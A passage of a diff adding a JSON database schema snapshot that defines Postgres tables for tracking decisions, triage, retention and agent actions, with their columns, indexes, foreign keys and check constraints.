+          "value": "\"decision_queues\".\"retention_days\" IS NULL OR (\"decision_queues\".\"retention_days\" >= 1 AND \"decision_queues\".\"retention_days\" <= 3650)"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_retention": {
+      "name": "decision_retention",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_activity_at": {
+          "name": "source_activity_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "keep": {
+          "name": "keep",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_reason": {
+          "name": "archived_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_type": {
+          "name": "archived_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_user_id": {
+          "name": "archived_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_run_id": {
+          "name": "archived_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "archive_version": {
+          "name": "archive_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_retention_company_source_uq": {
+          "name": "decision_retention_company_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_retention_company_archived_idx": {
+          "name": "decision_retention_company_archived_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archived_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_retention_company_id_companies_id_fk": {
+          "name": "decision_retention_company_id_companies_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_retention_archived_by_agent_id_agents_id_fk": {
+          "name": "decision_retention_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_retention_archived_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_retention_archived_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "archived_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_retention_archive_actor_check": {
+          "name": "decision_retention_archive_actor_check",
+          "value": "(\n        (\"decision_retention\".\"archived_at\" IS NULL AND \"decision_retention\".\"archived_by_type\" IS NULL AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'system' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'agent' AND \"decision_retention\".\"archived_by_agent_id\" IS NOT NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'user' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NOT NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_triage": {
+      "name": "decision_triage",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "decide_by": {
+          "name": "decide_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decide_by_date": {
+          "name": "decide_by_date",
+          "type": "date",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_type": {
+          "name": "set_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "set_by_agent_id": {
+          "name": "set_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_user_id": {
+          "name": "set_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_run_id": {
+          "name": "set_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_agent_api_key_id": {
+          "name": "set_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_triage_company_source_uq": {
+          "name": "decision_triage_company_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_triage_company_decide_by_idx": {
+          "name": "decision_triage_company_decide_by_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "decide_by",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_triage_company_id_companies_id_fk": {
+          "name": "decision_triage_company_id_companies_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_agent_id_agents_id_fk": {
+          "name": "decision_triage_set_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "set_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_triage_set_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "set_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "set_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_triage_actor_check": {
+          "name": "decision_triage_actor_check",
+          "value": "(\n        (\"decision_triage\".\"set_by_type\" = 'agent' AND \"decision_triage\".\"set_by_agent_id\" IS NOT NULL AND \"decision_triage\".\"set_by_user_id\" IS NULL)\n        OR (\"decision_triage\".\"set_by_type\" = 'user' AND \"decision_triage\".\"set_by_agent_id\" IS NULL AND \"decision_triage\".\"set_by_user_id\" IS NOT NULL)\n      )"
+        },
+        "decision_triage_decide_by_check": {
+          "name": "decision_triage_decide_by_check",
+          "value": "(\n        (\"decision_triage\".\"decide_by\" IS NULL AND \"decision_triage\".\"decide_by_date\" IS NULL)\n        OR (\"decision_triage\".\"decide_by\" IN ('today', 'this_week', 'whenever') AND \"decision_triage\".\"decide_by_date\" IS NULL)\n        OR (\"decision_triage\".\"decide_by\" = 'date' AND \"decision_triage\".\"decide_by_date\" IS NOT NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_triage_events": {
+      "name": "decision_triage_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queue_id": {
+          "name": "queue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_run_id": {
+          "name": "actor_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_api_key_id": {
+          "name": "agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_triage_events_company_source_created_idx": {
+          "name": "decision_triage_events_company_source_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_triage_events_queue_created_idx": {
+          "name": "decision_triage_events_queue_created_idx",
+          "columns": [
+            {
+              "expression": "queue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_triage_events_company_id_companies_id_fk": {
+          "name": "decision_triage_events_company_id_companies_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_queue_id_decision_queues_id_fk": {
+          "name": "decision_triage_events_queue_id_decision_queues_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "decision_queues",
+          "columnsFrom": [
+            "queue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_actor_agent_id_agents_id_fk": {
+          "name": "decision_triage_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_actor_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_triage_events_actor_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "actor_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_triage_events_actor_check": {
+          "name": "decision_triage_events_actor_check",
+          "value": "(\n        (\"decision_triage_events\".\"actor_type\" = 'agent' AND \"decision_triage_events\".\"actor_agent_id\" IS NOT NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n        OR (\"decision_triage_events\".\"actor_type\" = 'user' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NOT NULL)\n        OR (\"decision_triage_events\".\"actor_type\" = 'system' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_training_examples": {
+      "name": "decision_training_examples",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "cutoff_at": {
+          "name": "cutoff_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "notes": {
+          "name": "notes",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "notes_history": {
+          "name": "notes_history",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "decision_outcome": {
+          "name": "decision_outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retention_policy": {
+          "name": "retention_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'scrub_deleted_comments_v1'"
+        },
+        "snapshot": {
+          "name": "snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_training_examples_company_created_at_idx": {
+          "name": "decision_training_examples_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_training_examples_issue_idx": {
+          "name": "decision_training_examples_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_training_examples_source_author_uq": {
+          "name": "decision_training_examples_source_author_uq",
+          "columns": [
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_by_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_training_examples_company_id_companies_id_fk": {
+          "name": "decision_training_examples_company_id_companies_id_fk",
+          "tableFrom": "decision_training_examples",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_training_examples_issue_id_issues_id_fk": {
+          "name": "decision_training_examples_issue_id_issues_id_fk",
+          "tableFrom": "decision_training_examples",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_bundles": {
+      "name": "decision_bundles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_bundles_company_created_at_idx": {
+          "name": "decision_bundles_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_bundles_company_id_companies_id_fk": {
+          "name": "decision_bundles_company_id_companies_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_agent_id_agents_id_fk": {
+          "name": "decision_bundles_origin_agent_id_agents_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_issue_id_issues_id_fk": {
+          "name": "decision_bundles_origin_issue_id_issues_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_bundles_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_effect_executions": {
+      "name": "decision_effect_executions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "decision_id": {
+          "name": "decision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect_index": {
+          "name": "effect_index",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect_type": {
+          "name": "effect_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_issue_id": {
+          "name": "target_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'claimed'"
+        },
+        "result": {
+          "name": "result",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "activity_log_id": {
+          "name": "activity_log_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "executed_at": {
+          "name": "executed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "decision_effect_executions_decision_effect_uq": {
+          "name": "decision_effect_executions_decision_effect_uq",
+          "columns": [
+            {
+              "expression": "decision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "effect_index",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_effect_executions_target_issue_idx": {
+          "name": "decision_effect_executions_target_issue_idx",
+          "columns": [
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_effect_executions_decision_id_decisions_id_fk": {
+          "name": "decision_effect_executions_decision_id_decisions_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "decisions",
+          "columnsFrom": [
+            "decision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_effect_executions_target_issue_id_issues_id_fk": {
+          "name": "decision_effect_executions_target_issue_id_issues_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "target_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_effect_executions_activity_log_id_activity_log_id_fk": {
+          "name": "decision_effect_executions_activity_log_id_activity_log_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "activity_log",
+          "columnsFrom": [
+            "activity_log_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_target_issues": {
+      "name": "decision_target_issues",
+      "schema": "",
+      "columns": {
+        "decision_id": {
+          "name": "decision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {
+        "decision_target_issues_decision_idx": {
+          "name": "decision_target_issues_decision_idx",
+          "columns": [
+            {
+              "expression": "decision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_target_issues_issue_idx": {
+          "name": "decision_target_issues_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_target_issues_decision_id_decisions_id_fk": {
+          "name": "decision_target_issues_decision_id_decisions_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "decisions",
+          "columnsFrom": [
+            "decision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_target_issues_issue_id_issues_id_fk": {
+          "name": "decision_target_issues_issue_id_issues_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_target_issues_company_id_companies_id_fk": {
+          "name": "decision_target_issues_company_id_companies_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "decision_target_issues_decision_id_issue_id_pk": {
+          "name": "decision_target_issues_decision_id_issue_id_pk",
+          "columns": [
+            "decision_id",
+            "issue_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decisions": {
+      "name": "decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bundle_id": {
+          "name": "bundle_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
